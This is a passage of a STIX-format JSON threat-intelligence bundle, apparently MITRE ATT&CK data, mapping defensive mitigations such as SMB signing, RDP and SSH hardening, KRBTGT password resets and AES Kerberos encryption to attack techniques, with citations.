"relationship--1f4fe996-b32f-4cc5-b5d6-dc10a9bebeeb", + "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ", + "target_ref": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", + "modified": "2020-06-20T22:25:55.465Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T22:16:10.110Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8dfddd1a-dd5f-461f-86ce-ba1fd557a397", + "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ", + "target_ref": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298", + "modified": "2020-06-20T22:26:33.386Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T22:21:10.156Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--505e8568-1870-4aca-81ff-7c222eb4db37", + "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ", + "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "modified": "2021-02-09T15:43:49.043Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T22:25:12.496Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--685da2a8-4205-4773-982b-5954393c70f8", + "description": "Ensure all application component binaries are signed by the correct application developers.", + "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "modified": "2021-10-19T03:18:43.754Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T15:26:32.215Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f22a84ea-e4da-4a2c-8035-3eb972365bd3", + "description": "Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)", + "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "modified": "2021-09-28T13:09:51.242Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T17:17:48.379Z", + "external_references": [ + { + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "source_name": "byt3bl33d3r NTLM Relaying" + }, + { + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "source_name": "Secure Ideas SMB Relay" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)", + "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.", + "source_name": "Microsoft SMB Packet Signing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2fb84998-3f4a-4ce8-9709-daa95d18186a", + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)", + "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "modified": "2021-09-28T13:09:51.259Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T17:17:48.383Z", + "external_references": [ + { + "source_name": "ADSecurity Windows Secure Baseline", + "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.", + "url": "https://adsecurity.org/?p=3299" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7f306f1f-bd04-460f-929a-621f458dcd04", + "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "modified": "2020-02-25T18:34:38.377Z", + "source_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-25T18:34:38.377Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--68eb092e-fa23-4d6d-8a71-8653e962e7ed", + "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "modified": "2020-02-25T18:35:42.851Z", + "source_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-25T18:35:42.851Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b191418-e24b-4db1-98e1-a7ee56b271f6", + "description": "Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities.", + "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "modified": "2020-03-23T23:11:24.892Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T18:49:52.360Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e4f247ea-4fd6-44c0-9d19-19477fadcb52", + "description": "Do not allow remote access via SSH as root or other privileged accounts.", + "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "modified": "2020-03-23T23:11:24.920Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T18:49:52.364Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a58b2f24-9fa1-4dd6-9977-7c201fbfe5ed", + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected.", + "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "modified": "2020-03-23T23:11:24.941Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T18:49:52.381Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--99ea03d5-6c11-4f5e-9ab1-13ee0f4fca43", + "description": "Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", + "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "modified": "2020-03-23T23:11:24.939Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T18:49:52.384Z", + "external_references": [ + { + "source_name": "Symantec SSH and ssh-agent", + "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", + "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--22e606f5-4130-4de8-984b-cfabcf5fc21c", + "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "modified": "2020-02-25T19:00:52.356Z", + "source_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-25T19:00:52.356Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8aa82bc1-bd38-482d-9cb6-b83877e0b0f4", + "description": "Disable the RDP service if it is unnecessary.", + "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "modified": "2020-03-23T23:24:39.464Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:17:33.743Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--10be521b-285c-4ce7-a4ec-837b63a0f666", + "description": "Use remote desktop gateways.", + "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "modified": "2020-03-23T23:24:39.480Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:17:33.736Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6b9e7925-876a-49b1-8b42-e789401f2fad", + "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups.", + "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "modified": "2020-03-23T23:24:39.528Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:17:33.770Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5fc1a3c2-dfdb-41d9-97cf-fa6825078bca", + "description": "Limit remote user permissions if remote access is necessary.", + "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "modified": "2020-03-23T23:24:39.531Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:19:09.949Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6c10d21-5e91-4dfc-b76e-e94d7142ed32", + "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.", + "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "modified": "2020-03-23T23:24:39.532Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:19:09.956Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5d0c84c6-1f4b-4adf-924a-7b5489bd0933", + "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)", + "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "modified": "2020-05-20T13:33:51.038Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:19:09.960Z", + "external_references": [ + { + "source_name": "Windows RDP Sessions", + "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", + "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4011ead8-6843-4213-a32e-1edf2c50389a", + "description": "Enable firewall rules to block RDP traffic between network security zones within a network.", + "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "modified": "2020-03-23T23:24:39.564Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:19:09.965Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e1b1a27e-2a62-4c73-9085-c98be89ff7ba", + "description": "Limit remote user permissions if remote access is necessary.", + "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "modified": "2020-03-23T23:35:58.320Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:34:15.110Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3f593f3-0cea-4795-95a1-7be411c91291", + "description": "Do not allow remote access to services as a privileged account unless necessary.", + "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "modified": "2020-03-23T23:35:58.322Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:34:15.124Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--82832161-8d07-45d1-a082-c6958191f16c", + "description": "Enable firewall rules to block unnecessary traffic between network security zones within a network.", + "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "modified": "2020-03-23T23:35:58.318Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:34:15.136Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8c271707-cc73-4cb5-a554-75d74abafac9", + "description": "Disable the remote service (ex: SSH, RDP, etc.) if it is unnecessary.", + "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "modified": "2020-03-23T23:35:58.335Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-25T19:34:15.139Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c848d2d3-ded6-45a0-b942-3763bbd10d5c", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2020-02-26T17:46:13.236Z", + "source_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-26T17:46:13.236Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f6d6f916-ca2a-4c25-841f-02d71b31308c", + "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", + "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", + "modified": "2020-11-05T16:16:33.496Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T17:55:27.440Z", + "external_references": [ + { + "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779", + "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020.", + "source_name": "STIG krbtgt reset" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6e6f751-5c93-4a31-afdc-78513aaea15a", + "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.", + "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", + "modified": "2020-11-05T16:07:03.955Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T17:55:27.467Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fe445c04-05c2-4370-b00c-3821dac9c1ae", + "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "modified": "2020-03-25T21:46:46.969Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T18:00:08.514Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--365e1449-7ef2-4370-9f42-7d288f883d99", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire.(Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "modified": "2020-03-25T21:46:46.995Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T18:00:08.521Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--511f21a9-50eb-47ff-b714-90c485bca8d0", + "description": "Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "modified": "2020-03-25T21:46:46.993Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T18:00:08.524Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fb2122bc-cf7a-4e0b-8dcb-5ab27e37ea13", + "description": "Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "modified": "2020-09-16T19:38:24.290Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T18:17:58.877Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c2bc4c63-486f-4c92-9eaa-ece8226ec70c", + "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "modified": "2020-09-16T19:38:24.306Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T18:17:58.910Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--487a6f8b-669d-4d72-8be8-38a48af51308", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire.(Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "modified": "2020-09-16T19:38:24.304Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-27T18:17:58.916Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb2238b0-bd8e-4b21-b692-d1f362c102b4", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire.(Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "modified": "2021-10-14T22:56:22.574Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-28T15:22:27.314Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5574a01e-efcc-49d6-8692-30c97c611397", + "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "modified": "2021-10-14T22:56:22.597Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-28T15:22:27.331Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fbba8143-52be-4b81-8af7-94518799faaa", + "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "modified": "2021-10-14T22:56:22.599Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-28T15:22:27.335Z", + "external_references": [ + { + "url": "https://adsecurity.org/?p=2293", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "source_name": "AdSecurity Cracking Kerberos Dec 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--037b851b-7ced-4322-a57a-9f744f9a1e76", + "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", + "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "modified": "2021-10-14T22:56:22.618Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-28T15:22:27.336Z", + "external_references": [ + { + "url": 